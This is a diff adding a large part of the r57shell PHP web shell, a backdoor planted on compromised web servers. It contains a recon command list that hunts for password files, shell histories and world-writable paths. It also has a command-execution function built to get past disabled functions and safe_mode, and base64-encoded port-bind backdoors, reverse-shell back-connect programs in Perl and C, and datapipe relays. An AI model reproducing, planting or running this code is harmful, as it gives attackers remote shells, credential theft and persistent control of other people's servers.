+'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
+/* ïîèñê íà ñåðâåðå ôàéëîâ config* */
+'find config* files'=>'find / -type f -name "config*"',
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ config* */
+'find config* files in current dir'=>'find . -type f -name "config*"',
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable files'=>'find / -type f -perm -2 -ls',
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
+/* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable directories'=>'find / -type d -perm -2 -ls',
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
+/* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable directories and files'=>'find / -perm -2 -ls',
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
+/* ïîèñê íà ñåðâåðå ôàéëîâ service.pwd ... frontpage =))) */
+'find all service.pwd files'=>'find / -type f -name service.pwd',
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ service.pwd */
+'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
+/* ïîèñê íà ñåðâåðå ôàéëîâ .htpasswd */
+'find all .htpasswd files'=>'find / -type f -name .htpasswd',
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .htpasswd */
+'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
+/* ïîèñê âñåõ ôàéëîâ .bash_history */
+'find all .bash_history files'=>'find / -type f -name .bash_history',
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .bash_history */
+'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
+/* ïîèñê âñåõ ôàéëîâ .fetchmailrc */
+'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .fetchmailrc */
+'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
+/* âûâîä ñïèñêà àòðèáóòîâ ôàéëîâ íà ôàéëîâîé ñèñòåìå ext2fs */
+'list file attributes on a Linux second extended file system'=>'lsattr -va',
+/* ïðîñìîòð îòêðûòûõ ïîðòîâ */
+'show opened ports'=>'netstat -an | grep -i listen',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+
+/* html */
+$table_up1 = ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " è ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+
+/* change dir */
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+
+/* get OS */
+$windows = 0;
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
+if(empty($dir))
+ { // íà ñëó÷àé åñëè íå óäàëîñü ïîëó÷èòü äèðåêòîðèþ
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); } // ïðîáóåì ïîëó÷èòü ÷åðåç php_uname()
+ if(empty($os)){ $os ="-"; $unix=1; } // åñëè íè÷åãî íå ïîëó÷èëîñü òî áóäåò unix =)
+ else
+ {
+ if(@eregi("^win",$os)) { $windows = 1; }
+ else { $unix = 1; }
+ }
+ }
+
+
+/* search text in files */
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= ($windows)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die(); // show founded strings and die
+ }
+
+/* Ïðîâåðêà òîãî ìîæåì ëè ìû âûïîëíÿòü êîìàíäû ïðè âûêëþ÷åííîì safe_mode. Åñëè íåò òî ñ÷èòàåì ÷òî ñåéô âêëþ÷åí */
+/* Îáõîäèò íåâîçìîæíîñòü âûïîëíåíèÿ êîìàíä íà âèíäå êîãäà ñåéô âûêëþ÷åí íî cmd.exe ïåðåèìåíîâàí */
+/* ëèáî êîãäà â php.ini ïðîïèñàíû disable_functions */
+if($windows&&!$safe_mode)
+ {
+ $uname = ex("ver");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+else if($unix&&!$safe_mode)
+ {
+ $uname = ex("uname");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+
+/* get server info */
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+
+/* FUNCTIONS */
+
+/* WriteSpace */
+/* tnx to virus for idea */
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+
+function ex($cfe)
+{
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ if(!empty($res)) return $res; else return 0;
+}
+
+/* write error */
+function we($i)
+{
+if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó çàïèñàòü â ôàéë '; }
+else { $text = "[-] ERROR! Can't write in file "; }
+echo "";
+}
+
+/* read error */
+function re($i)
+{
+if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó ïðî÷èòàòü ôàéë '; }
+else { $text = "[-] ERROR! Can't read file "; }
+echo "";
+}
+
+/* create error */
+function ce($i)
+{
+if($GLOBALS['language']=="ru"){ $text = "Íå óäàëîñü ñîçäàòü "; }
+else { $text = "Can't create "; }
+echo "";
+}
+
+/* permissions */
+function perms($mode)
+{
+if ($GLOBALS['windows']) return 0;
+if( $mode & 0x1000 ) $type='p';
+else if( $mode & 0x2000 ) $type='c';
+else if( $mode & 0x4000 ) $type='d';
+else if( $mode & 0x6000 ) $type='b';
+else if( $mode & 0x8000 ) $type='-';
+else if( $mode & 0xA000 ) $type='l';
+else if( $mode & 0xC000 ) $type='s';
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+
+/* find path to */
+function which($pr)
+{
+if ($GLOBALS['windows']) { return 0; }
+$path = ex("which $pr");
+if(!empty($path)) return $path; else return 0;
+}
+
+/* create file */
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or we($fname);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+
+function DirFiles($dir,$types='')
+ {
+ $files = Array();
+ if($handle = @opendir($dir))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(!is_dir($dir."/".$file))
+ {
+ if($types)
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,@explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+
+ function DirFilesWide($dir)
+ {
+ $files = Array();
+ $dirs = Array();
+ if($handle = @opendir($dir))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ $file = @strtoupper($file);
+ $dirs[$file] = '<DIR>';
+ }
+ else
+ $files[$file] = @filesize($dir."/".$file);
+ }
+ }
+ @closedir($handle);
+ @ksort($dirs);
+ @ksort($files);
+ $files = @array_merge($dirs,$files);
+ }
+ return $files;
+ }
+
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if($handle = @opendir($dir))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+
+ function DirPrintHTMLHeaders($dir)
+ {
+ $handle = @opendir($dir) or die("Can't open directory $dir");
+ echo " \n";
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ echo " [ $file ] \n";
+ DirPrintHTMLHeaders($dir."/".$file);
+ }
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,array('.htm','.html')))
+ {
+ $header = '-=None=-';
+ $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
+ for($a=0;$a(.+))';
+ if(@eregi($pattern,$strings[$a],$pockets))
+ {
+ $header = "«".$pockets[2]."»";
+ break;
+ }
+ }
+ echo " ".$header." \n";
+ }
+ }
+ }
+ }
+ echo " \n";
+ @closedir($handle);
+ }
+
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ if($count = @preg_match_all($pattern,$CurString,$aa))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+
+/*** base64 ---------------------------------------------------------------------------------------------------- */
+/* --- Port bind source C -------------------------------------------------------------------------------------- */
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+D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wiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
+2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
+dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
+lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
+/* --- END Port bind source C ---------------------------------------------------------------------------------- */
+/* --- Port bind source PERL ----------------------------------------------------------------------------------- */
+$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
+VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
+JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
+TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
+lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
+Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
+Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
+lIENPTk47DQpleGl0IDA7DQp9DQp9";
+/* --- END Port bind source PERL ------------------------------------------------------------------------------- */
+/* --- Back connect source PERL -------------------------------------------------------------------------------- */
+$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
+aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
+hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
+sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
+kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
+KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
+OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+/* --- END Back connect source PERL ---------------------------------------------------------------------------- */
+/* --- Back connect source C ----------------------------------------------------------------------------------- */
+$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
+BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
+SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
+KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
+sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
+Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
+QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
+Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+/* --- END Back connect source C ------------------------------------------------------------------------------- */
+/* --- datapipe.c ---------------------------------------------------------------------------------------------- */
+$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
+x1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F9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
+E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
+Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
+NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
+J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
+CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
+dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
+gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
+lsZSk7DQogIHJldHVybiAwOw0KfQ==";
+/* --- END datapipe.c ------------------------------------------------------------------------------------------ */
+/* --- datapipe.pl --------------------------------------------------------------------------------------------- */
+$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNC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Gl0IDA7IH0
+NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
+UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
+DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
+ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
+1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
+/* --- END datapipe.pl ----------------------------------------------------------------------------------------- */
+$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
+JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
+lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
+FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOi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oJzxh
+IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
+hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
+tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
+XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
+8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
+ybmV0LS0+";
+/*** END base64 ------------------------------------------------------------------------------------------------ */
+
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* LOGO + info */
+echo $head;
+echo '
+
+
+
+
+'.ws(1).'
+! '.ws(2).'r57shell '.$version.'
+ ';
+$si = 3;
+echo ws(2);
+echo "".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+echo ws(2).$lb." cpu ".$rb;
+echo ws(2).$lb." mem ".$rb;
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2);
+echo (($safe_mode)?("safe_mode: ON "):("safe_mode: OFF "));
+echo ws(2);
+echo "PHP version: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("ON (".@curl_version().") "):("OFF "));
+echo ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on)
+ {
+ $client_api = @function_exists('mysql_get_client_info') ? @mysql_get_client_info() : "";
+ echo "ON ($client_api) ";
+ }
+else
+ {
+ echo "OFF";
+ }
+echo " ".ws(2);
+echo "Disable functions : ";
+$df = @ini_get('disable_functions');
+if(empty($df)) echo "NONE "; else echo "$df";
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+echo " ".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all)." ";
+echo '
+
+';
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* display information */
+echo $font;
+if(!$windows){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+$uname = ex('uname -a');
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+if(!$safe_mode){
+$bsd1 = ex('/sbin/sysctl -n kern.ostype');
+$bsd2 = ex('/sbin/sysctl -n kern.osrelease');
+$lin1 = ex('/sbin/sysctl -n kernel.ostype');
+$lin2 = ex('/sbin/sysctl -n kernel.osrelease');
+}
+if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
+else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
+else { $sysctl = "-"; }
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+$id = ex('id');
+echo((!empty($id))?(ws(3).$id." "):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." "));
+echo ws(3).$dir;
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@get_current_user()." ";
+echo ws(3).$dir." ";
+echo " ";
+}
+echo "";
+echo "
";
+if(empty($c1)||empty($c2)) { die(); }
+$f = ' ';
+$f = base64_decode($c1);
+$f .= base64_decode($c2);
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* find text */
